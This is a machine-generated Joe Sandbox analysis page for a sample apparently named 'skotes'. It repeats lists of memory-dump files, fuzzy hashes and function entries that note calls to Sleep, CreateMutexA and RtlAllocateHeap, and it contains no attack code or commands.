Associated: 00000002.00000002.2399351439.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399369474.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399391517.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399415373.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399444056.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399466042.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399485515.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399506968.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399523449.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: c02cc94ef5a7dca655a8f11f88651b3c2b1995a3a84407a64eb7eab0c97925e7
Instruction ID: 29842da32a4ffe6488eb2208b6d0e966743a6f3fc30e720ffd081d77380786bd
Opcode Fuzzy Hash: c02cc94ef5a7dca655a8f11f88651b3c2b1995a3a84407a64eb7eab0c97925e7
Instruction Fuzzy Hash: 98310731A04100AFEB18DBB8DD89BADB762EBC6314F244718E155972D2D73DA980C726

Function 007AA682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 007AA963
CreateMutexA.KERNELBASE(00000000,00000000,00803254), ref: 007AA981

Memory Dump Source

Source File: 00000002.00000002.2398180926.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000002.00000002.2398157773.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398180926.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398281777.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398307953.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398329877.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398351079.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398372219.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398504272.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398523656.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398551122.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398551122.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398593843.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398612662.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398631918.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398650356.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398672580.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398691780.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398717654.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398735285.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398751383.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398773044.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398793584.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398896385.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398921612.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398945523.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398971684.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398995601.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399016093.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399037090.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399059059.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399078897.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399100235.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399120842.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399141916.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399161174.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399182762.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399203365.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399222702.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399242540.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399270135.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399294706.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399294706.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399351439.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399369474.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399391517.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399415373.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399444056.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399466042.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399485515.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399506968.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399523449.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: b7e96499c2e1511ba27bef27d6f32dbb23e792b4b360b6c45510e40241c86fd3
Instruction ID: e50bc24fbeb6b8f5f0ff4688b5ae0f495281a678e1efed4b2aec2e90855358a1
Opcode Fuzzy Hash: b7e96499c2e1511ba27bef27d6f32dbb23e792b4b360b6c45510e40241c86fd3
Instruction Fuzzy Hash: 56310531604100AFEB189BB8DE89BAEB772EBC6314F248318E114972D2D77DA980C752

Function 007A9ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 007AA963
CreateMutexA.KERNELBASE(00000000,00000000,00803254), ref: 007AA981

Memory Dump Source

Source File: 00000002.00000002.2398180926.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000002.00000002.2398157773.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398180926.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398281777.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398307953.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398329877.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398351079.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398372219.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398504272.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398523656.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398551122.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398551122.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398593843.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398612662.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398631918.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398650356.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398672580.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398691780.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398717654.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398735285.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398751383.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398773044.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398793584.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398896385.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398921612.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398945523.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398971684.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398995601.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399016093.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399037090.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399059059.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399078897.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399100235.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399120842.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399141916.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399161174.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399182762.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399203365.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399222702.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399242540.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399270135.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399294706.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399294706.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399351439.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399369474.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399391517.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399415373.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399444056.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399466042.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399485515.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399506968.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399523449.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 1f9bac8e3059a35be2c3b8d2b0f9d9503ab84f836a0c4f711c71cada180e8093
Instruction ID: bfd09dcefd7a994499bd74d15290ba83991b254ea7d1d78c758833c8a53095af
Opcode Fuzzy Hash: 1f9bac8e3059a35be2c3b8d2b0f9d9503ab84f836a0c4f711c71cada180e8093
Instruction Fuzzy Hash: E6214931704200EFEB18AB6CED8976DB765EBC2310F204319E648C72D1E77DA980C712

Function 007AA856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 007AA963
CreateMutexA.KERNELBASE(00000000,00000000,00803254), ref: 007AA981

Memory Dump Source

Source File: 00000002.00000002.2398180926.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000002.00000002.2398157773.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398180926.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398281777.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398307953.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398329877.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398351079.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398372219.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398504272.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398523656.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398551122.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398551122.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398593843.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398612662.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398631918.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398650356.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398672580.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398691780.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398717654.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398735285.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398751383.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398773044.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398793584.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398896385.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398921612.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398945523.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398971684.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398995601.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399016093.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399037090.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399059059.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399078897.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399100235.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399120842.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399141916.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399161174.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399182762.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399203365.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399222702.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399242540.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399270135.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399294706.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399294706.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399351439.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399369474.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399391517.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399415373.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399444056.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399466042.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399485515.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399506968.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399523449.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 6a02d2a5601c81af8cfbbc4a07041ac44beca34146b27a429118521276628a44
Instruction ID: c34932b6b56bdfb311ef8c12ba18558db30dd287c294a45764cd87dd15df9751
Opcode Fuzzy Hash: 6a02d2a5601c81af8cfbbc4a07041ac44beca34146b27a429118521276628a44
Instruction Fuzzy Hash: 3F210671348200EEFB2967689D9AB3DB3519FD3700F240B16E244962D1DB7E9981C353

Function 007AA34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 007AA963
CreateMutexA.KERNELBASE(00000000,00000000,00803254), ref: 007AA981

Memory Dump Source

Source File: 00000002.00000002.2398180926.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000002.00000002.2398157773.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398180926.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398281777.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398307953.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398329877.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398351079.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398372219.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398504272.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398523656.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398551122.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398551122.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398593843.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398612662.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398631918.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398650356.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398672580.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398691780.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398717654.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398735285.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398751383.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398773044.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398793584.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398896385.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398921612.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398945523.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398971684.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398995601.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399016093.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399037090.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399059059.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399078897.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399100235.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399120842.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399141916.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399161174.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399182762.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399203365.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399222702.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399242540.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399270135.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399294706.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399294706.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399351439.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399369474.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399391517.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399415373.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399444056.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399466042.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399485515.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399506968.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399523449.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: c7f917e998e74c0617356cd33826c4d20fdd214f378b01b81ba492b1956f0e42
Instruction ID: 27fd7dabf6e84c69caba875a8732d8bb4f6e6d25c484ff929a247523e03686a0
Opcode Fuzzy Hash: c7f917e998e74c0617356cd33826c4d20fdd214f378b01b81ba492b1956f0e42
Instruction Fuzzy Hash: A5216731604200AFEB189B6CDE897ADB766EBD2311F204319E504D72D1D77EA980C312

Function 007DD82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,007DA813,00000001,00000364,00000006,000000FF,?,007DEE3F,?,00000004,00000000,?,?), ref: 007DD871

Memory Dump Source

Source File: 00000002.00000002.2398180926.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000002.00000002.2398157773.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398180926.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398281777.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398307953.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398329877.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398351079.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398372219.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398504272.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398523656.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398551122.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398551122.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398593843.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398612662.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398631918.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398650356.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398672580.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398691780.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398717654.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398735285.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398751383.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398773044.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398793584.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398896385.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398921612.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398945523.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398971684.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398995601.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399016093.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399037090.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
